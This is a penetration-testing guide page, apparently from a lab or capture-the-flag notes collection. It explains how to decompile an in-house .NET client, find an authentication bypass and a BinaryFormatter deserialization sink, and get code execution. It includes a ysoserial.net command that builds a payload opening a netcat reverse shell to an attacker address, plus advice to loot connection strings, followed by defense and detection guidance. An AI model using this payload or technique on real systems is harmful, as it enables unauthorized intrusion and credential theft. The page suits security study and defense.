
The in-house thick client is the privilege escalation: decompile it
A custom, in-house executable, plus its DLLs, on an SMB share, under C:\Program Files\<CompanyApp>, or offered as a download, is not scenery. It is there because it is the path, and its server side usually runs as SYSTEM. .NET decompiles cleanly, so the client hands you both how to authenticate and how to get code execution.
Work it in order
- Decompile the DLLs, not just the exe (ILSpy, dnSpy,
ilspycmd). The logic lives in the libraries; the exe is a shell. - Read the auth check first. In-house clients routinely carry a developer bypass: a username that skips the password comparison entirely. That is cheaper than any credential attack and is often sitting in plain source.
- Find the wire format. A homegrown
VERB;<base64>protocol over a raw socket is the tell. Look at what the server does with the decoded blob. - Find the deserialization sink.
BinaryFormatter.Deserialize,SoapFormatter,NetDataContractSerializer,LosFormatter: every one of them executes types from the stream, so each is RCE by design on attacker-controlled input.
Forge the message
ysoserial.net builds a gadget chain (a sequence of classes already in the target's libraries whose deserialization side effects run a command, so you supply data, not code) for the formatter you found; you send it through the app's own message:
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\Temp\nc.exe 10.10.14.31 443 -e cmd"
# then speak the app protocol, e.g. UPLOAD_ORDER;<base64payload>
Two things decide success. Match the gadget to the formatter (WindowsIdentity or TypeConfuseDelegate for BinaryFormatter, ObjectDataProvider for XML/Soap/Json.NET). And pin the ysoserial.net version: gadget chains are build-specific, so a payload that "sends but nothing happens" is usually a version mismatch the target framework rejected, not a wrong gadget. While you have the binary open, loot it for connection strings and keys too. The shell lands as whatever the service runs as; confirm with whoami rather than assuming SYSTEM, and if it is a lesser service account the token-privilege hop in Windows local privilege escalation usually finishes the job.
Defense
Three design faults line up: an unsafe serializer on untrusted input, a backdoor account, and an over-privileged service.
- Do not deserialize untrusted input with a type-building serializer.
BinaryFormatteris deprecated and disabled by default in modern .NET precisely because it is RCE on hostile data; the same goes forSoapFormatter,NetDataContractSerializer, andLosFormatter. Use a data-only contract (System.Text.Json, a schema) for anything that crosses the network, and never bind types from the wire. - No hardcoded bypasses. A developer username that skips the password check is a shipped backdoor. Authenticate and authorize the protocol with real server-side checks, and sign or MAC the messages so a client cannot forge them.
- Run the service least-privileged. A homegrown service does not need SYSTEM; give it a dedicated low-privilege account so deserialization RCE is contained rather than instant domain-adjacent.
- Obfuscation is not protection. .NET decompiles trivially; assume every secret and check in the client is readable, because it is.
Detection
The in-house service process spawning cmd, powershell, nc, or any child is the signal, since these services rarely launch anything. An oversized or unexpected base64 payload arriving on the service's port, and a deserialization exception in its logs, support it. Alert on the service account parenting a shell and on a WindowsIdentity/TypeConfuseDelegate-shaped stream reaching the listener.
Use
Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. This is a documented .NET deserialization chain with the tools named, not carried; it is paired with the fix so the serializer, the backdoor, and the service privilege all get corrected. The deserialization theme continues in unpickling is still RCE.